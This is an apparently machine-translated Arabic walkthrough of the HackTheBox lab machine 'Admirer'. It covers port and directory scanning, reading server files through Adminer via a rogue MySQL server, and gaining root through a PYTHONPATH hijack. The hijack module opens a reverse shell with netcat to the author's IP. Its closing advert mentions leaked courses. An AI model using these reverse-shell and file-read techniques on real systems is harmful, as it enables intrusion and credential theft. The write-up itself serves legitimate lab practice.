هاك ذا بوكس. تجول Admirer. الضعف في Admirer و RCE من خلال خداع متغير البيئة



أستمر في نشر الحلول المرسلة لإنهاء الآلات من موقع HackTheBox .



في هذه المقالة ، نقوم بمسح ضوئي كثيرًا ، واستغلال RCE في Admirer ، وتغيير متغير البيئة لتشغيل كود Python الخاص بنا.



الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر العمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، حيث تجد نفسك في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات.



المعلومات التنظيمية
, , Telegram . , , .



. , - , .





ريكون



يحتوي هذا الجهاز على عنوان IP يبلغ 10.10.10.189 ، والذي أقوم بإضافته إلى / etc / hosts.



10.10.10.187 	admirer.htb


الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بمعدل 500 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500






الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، قم بإجراء فحص باستخدام الخيار -A.

nmap -A admirer.htb -p80,22,21






حدد خطوتنا التالية من نتيجة فحص nmap. لذا فإن الخادم لديه خدمات FTP و SSH ، لكنها تتطلب بيانات اعتماد. يوجد أيضًا خادم ويب Apache مع ملف robots.txt. يوجد إدخال واحد فقط في هذا الملف - دليل admin-dir. نظرًا لعدم توفير مزيد من المعلومات ، فإن خطوتنا التالية هي فحص الأدلة. لهذا نستخدم gobuster سريع. في المعلمات ، نشير إلى أننا نريد مسح الأدلة (dir) ، ونشير إلى الموقع (-u) ، وقائمة الكلمات (-w) ، والإضافات التي نهتم بها (-x) ، وعدد الخيوط (-t).

gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt






ونجد ملفين ، الأول يحتوي على عناوين البريد الإلكتروني والثاني يحتوي على أوراق اعتماد مختلفة.











ومن بين أوراق الاعتماد نجد بيانات اعتماد FTP. ونتواصل بنجاح.







دعونا ننظر حول الخادم.







لنقم بتنزيل جميع الملفات.







هناك شك في أن هذا الأرشيف هو نسخة احتياطية من الموقع ، فلنفك ضغطه ونرى ما بداخله.

mkdir HTML
mv html.tar.gz HTML/ 
cd HTML
tar -xf html.tar.gz






مرة أخرى ، يوجد ملف robots.txt ونوع من الدليل السري يحتوي على نفس ملفات contacts.txt وبيانات الاعتماد. txt.







لا يختلف الملف الأول عن الملف الحالي ، ولكن من بين أوراق الاعتماد هناك تلك التي لا نملكها.







بعد أن حاولنا استخدامها ، لم نصل إلى أي مكان. دعونا نبحث عن المستخدم ونمرر الأسطر في جميع الملفات التي تم تنزيلها.

grep -R -i "user\|pass" ./






ووجدنا كلمتي مرور أخريين لنفس المستخدم. لقد جمعت كل أوراق الاعتماد المتاحة.







لكنهم لم يأتوا إلى أي مكان أيضًا.



نقطة الدخول



إذا حاولت أداء المهام التي لم يتم حلها على الموقع ، فسنحصل على الرفض.















نظرًا لأن جميع الملفات القابلة للتنفيذ موجودة في دليل البرامج النصية المساعدة ، فلنقم بمسحها ضوئيًا على المضيف ، والبحث عن ملفات php.

gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php






ونجد الملف admirer.php.







بعد البحث عن المعلومات ، أصبح من الواضح من المصادر التالية كيفية الحصول على RCE. إذا حددت مضيفك كخادم ، يمكنك مشاهدة محاولة اتصال. لنبدأ خدمة myqsl على المضيف المحلي.





sudo service mysql start
sudo mysql -u root


وسنقوم بإنشاء مستخدم للحصول على إذن.

create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';






لنقم الآن بتغيير ملف التكوين /etc/mysql/mariadb.conf.d/50-server.cnf بحيث يمكن لأي شخص الاتصال بمضيفنا. للقيام بذلك ، قم بالتعليق خارج سطر العنوان وأعد تشغيل الخدمة.







sudo service mysql restart


نقوم بتسجيل الدخول نيابة عن المستخدم الذي تم إنشاؤه حديثًا.











المستعمل



دعونا نختار قاعدة البيانات الخاصة بنا.







بعد ذلك ، لنقم بإنشاء جدول.







وسنقوم بتنفيذ استعلام SQL لقراءة ملف index.php ، حيث يمكننا العثور على بيانات الاعتماد (كما كانت في النسخة الاحتياطية).

load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'






الآن دعنا ننتقل إلى طاولتنا التي تم إنشاؤها.







وسوف نجد أوراق الاعتماد.







وباستخدام كلمة المرور هذه ، نجحنا في تسجيل الدخول عبر SSH.



















جذر



دعنا نتحقق من إعدادات sudo.







وبالتالي ، يمكننا تنفيذ هذا البرنامج النصي كمستخدم فائق. عند النظر إلى هذا البرنامج النصي ، نجد تنفيذ نص Python ، والذي يتم تنفيذه أيضًا تحت sudo.







وفي البرنامج النصي نفسه ، تم تحديد استيراد ضمني.







دعونا نرى متغيرات البيئة ، نحن مهتمون بمسارات بيثون.







بهذه الطريقة يمكننا إنشاء ملف بنفس الاسم ، يحتوي على نفس الوظيفة ، ولكن مع تنفيذ إجراءات مختلفة. ومن ثم تغيير متغير البيئة هذا ، سنقوم بتشغيل البرنامج الذي سيؤدي إلى تنفيذ ملفنا.

def make_archive():
        import os
        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')

make_archive()






دعونا ننفذ البرنامج النصي.

sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh






وحصلنا على قذيفة backconnect.







لدينا سيطرة كاملة على هذا الجهاز.



يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعنا نجمع مجتمعًا ، حيث سيكون هناك أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بتكنولوجيا المعلومات وأمن المعلومات.



All Articles